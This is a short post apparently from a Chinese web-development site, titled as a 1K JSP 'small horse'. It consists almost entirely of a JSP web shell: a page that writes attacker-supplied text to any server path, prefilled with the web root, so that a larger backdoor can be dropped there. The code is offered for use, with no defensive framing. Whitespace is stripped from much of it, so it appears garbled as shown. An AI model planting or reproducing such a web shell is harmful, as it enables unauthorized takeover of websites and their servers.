1K的JSP小马
2008-10-27 16:51:09 来源:WEB开发网<%@pagelanguage="java"pageEncoding="gbk"%>
<jsp:directive.pageimport="java.io.File"/>
<jsp:directive.pageimport="java.io.OutputStream"/>
<jsp:directive.pageimport="java.io.FileOutputStream"/>
<html>
<head>
<title>小马</title>
<metahttp-equiv="keywords"content="小马">
<metahttp-equiv="description"content="小马">
</head>
<%
inti=0;
Stringmethod=request.getParameter("act");
if(method!=null&&method.equals("up")){
Stringurl=request.getParameter("url");
Stringtext=request.getParameter("text");
Filef=newFile(url);
if(f.exists()){
f.delete();
}
try{
OutputStreamo=newFileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exceptione){
i++;
%>
上传不成功
<%
}
}
if(i==0){
%>
上传成功
<%
}
%>
<body>
<formaction='?act=up' method='post'>
<inputsize="100"value="<%=application.getRealPath("/")%>"name="url"><br>
<textarearows="20"cols="80"name="text">这写马的代码</textarea><br>
<inputtype="submit"value="up"name="text"/>
</form>
</body>
</html>
更多精彩
赞助商链接